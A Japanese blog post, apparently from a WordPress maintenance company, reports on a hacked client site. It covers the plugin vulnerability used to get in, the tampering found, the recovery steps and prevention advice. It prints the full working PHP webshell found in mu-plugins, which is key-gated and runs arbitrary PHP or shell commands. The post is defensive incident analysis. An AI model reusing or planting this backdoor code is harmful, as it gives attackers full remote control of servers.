ITエンジニア

【実例公開】WordPressがハッキングされた話 ─ プラグインの脆弱性から侵入・バックドア設置・緊急復旧まで

📅 2026年4月19日

ある日、クライアントから「サイトが表示されない」と連絡が入った。アクセスしてみると 403 Forbidden。最初は設定ミスかと思ったが、サーバーのエラーログを確認すると、そこには想定外の記録が残っていた。

調査を進めると、サーバーにはバックドア（遠隔操作プログラム）が複数設置されており、不正な管理者アカウントまで作られていた。これはミスではなく、明らかなハッキングだった。

本記事では、実際に発生したWordPressサイトへの攻撃を事例として、攻撃の手口・被害内容・復旧手順・再発防止策を公開する。同じ被害に遭わないための参考にしていただきたい。

何が起きたか（事件の概要）

対象はとあるWordPressサイト。XServerにホスティングされており、複数のプラグインを利用していた。

  • 侵入日：2026年4月7日（アクセスログより特定）
  • 発覚日：2026年4月中旬（サイトが403エラーで表示不能に）
  • 被害：バックドア設置・不正管理者アカウント作成・コアファイル改ざん・.htaccess改ざん

発覚のきっかけは「サイトが真っ白になった」という問い合わせだった。正確には403エラーで、サーバーにはアクセスできているが、コンテンツが表示されない状態だった。

攻撃の侵入経路

Responsive Menu Pro の脆弱性を悪用

調査の結果、侵入経路は Responsive Menu Pro（バージョン3.1.31）の既知の脆弱性 であることが判明した。このバージョンには認証なしで任意のファイルをサーバーにアップロードできる脆弱性が存在しており、攻撃者はこれを悪用してバックドアファイルを直接設置した。

バージョン4.2.0以降では修正済みのため、このプラグインを使用しているサイトは即時アップデートが必要だ。

攻撃者が最初に行ったこと

  • プラグインディレクトリ内にランダムなファイル名のバックドアを2本設置
  • mu-plugins（必須プラグイン）ディレクトリにメインのバックドアを設置
  • WordPressの管理者アカウントを新規作成
  • データベースにバックドア用の認証キーを登録

発見された被害の全容

バックドア（遠隔操作プログラム）の設置

最も深刻だったのが mu-plugins ディレクトリへのバックドア設置だ。object-cache-helper.php という一見無害そうなファイル名で偽装されており、以下のコードが含まれていた。

<?php
add_action('init',function(){
$k=get_option('_wpc_ak','');
if($k&&isset($_GET['_chk'])&&$_GET['_chk']===$k){
    while(@ob_end_clean()){}
    @error_reporting(0);
    header('Content-Type:text/plain');
    $m=isset($_GET['m'])?$_GET['m']:'sh';
    $d=base64_decode(isset($_POST['d'])?$_POST['d']:'');
    if(!$d){echo'OK';die();}
    if($m==='php'){
        ob_start();
        try{eval($d);}catch(Throwable $e){echo $e->getMessage();}
        echo ob_get_clean();die();
    }
    $out=@shell_exec($d.' 2>&1');
    echo($out!==null)?$out:'NOSHELL';die();
}},0);

このコードは非常に危険だ。データベースに保存された秘密キーをURLパラメータで送ることで認証し、その後は任意のPHPコードやシェルコマンドをサーバー上で実行できる。つまり攻撃者はこのファイルさえあれば、サーバーを完全にリモートコントロールできる状態にあった。

さらに厄介なのが、mu-plugins に置かれたファイルはWordPressが自動的にすべて読み込むという仕様を悪用している点だ。プラグインを無効化しても消えない。

不正管理者アカウントの作成

データベースの wp_users テーブルに不審なアカウントが作成されていた。

  • ユーザー名：wpsvc_074b
  • 表示名：WordPress Service（正規のWordPressサービスに見せかけている）
  • メールアドレス：使い捨てのGmailアドレス
  • 作成日：2026年4月7日 02:42（深夜に自動作成）

バックドアを削除されても、この管理者アカウントが残っていれば再侵入できる二重の保険として機能する。

.htaccess の改ざん

サーバーの設定ファイル（.htaccess）に以下のような偽装コードが追記されていた。

###X SUPPORT
<IfModule mod_maxminddb.c>
  MaxMindDBEnable On
  ...
  Deny from all
</IfModule>

GeoIPの設定ファイルに見せかけているが、実態は Deny from all（全アクセス拒否） の設定だ。これがサイト全体が403エラーになった直接の原因だった。

WordPressコアファイルの改ざん

wp-includes ディレクトリ配下のコアファイルが一部書き換えられており、管理画面で不定期に Fatal Error が発生するようになっていた。この改ざんは Wordfence のスキャンと、侵入日のファイル更新日時の変化から特定できた。

緊急対応・復旧の流れ

  1. バックドアファイルの特定・削除（mu-plugins・プラグインディレクトリ内）
  2. .htaccess の修復（不正ブロックの削除）
  3. 不正管理者アカウントの削除（wp_usersテーブルから削除）
  4. DBの不正データ削除（バックドア認証キー _wpc_ak を wp_options から削除）
  5. 全管理者パスワードの変更
  6. WordPressコアの再インストール（管理画面 → 更新 → 再インストール）
  7. 脆弱性プラグインのアップデート（Responsive Menu Pro を最新版へ）
  8. サイト全体の表示確認（全ページ・全機能）

Wordfence のスキャンが特に有効で、改ざんされたファイルや不審なファイルを自動で検出してくれた。セキュリティプラグインが入っていなければ発見がさらに遅れていた可能性がある。

サイトオーナーが今すぐできる再発防止策

  1. プラグインを常に最新バージョンに保つ
    今回の侵入口は古いバージョンのプラグインだった。更新通知が出たら速やかに対応する。
  2. 管理者ユーザー一覧を定期確認する
    見覚えのないアカウントがあれば即削除。管理者権限を持つユーザーは最小限にとどめる。
  3. Wordfence などセキュリティプラグインを導入する
    ファイルの改ざん検知・不正ログインブロックなどが自動化できる。
  4. 定期バックアップを設定する
    万が一の際にクリーンな状態に戻せる。XServerなどは自動バックアップ機能がある。
  5. 不要・高リスクプラグインを削除する
    ファイルマネージャー系プラグインは攻撃者に悪用されやすいため、不要なら削除推奨。

まとめ

今回のケースは、プラグインのアップデートを1本怠ったことで、サーバーを完全に乗っ取られる寸前まで被害が拡大した事例だ。幸い早期に発見・復旧できたが、発見が数週間遅れていれば個人情報の流出や、別サイトへの横断的な感染につながっていた可能性もある。

WordPressは世界シェアNo.1のCMSであるがゆえに、常に攻撃のターゲットになっている。「うちは小さいサイトだから大丈夫」という油断が最大のリスクだ。

WordPressサイトの定期的な保守・セキュリティ対応でお困りの方は、ぜひS3updev の WordPress 保守プランをご覧ください。ハッキング対応・復旧・定期メンテナンスまで一括対応いたします。

← ブログ一覧へ戻る
⇧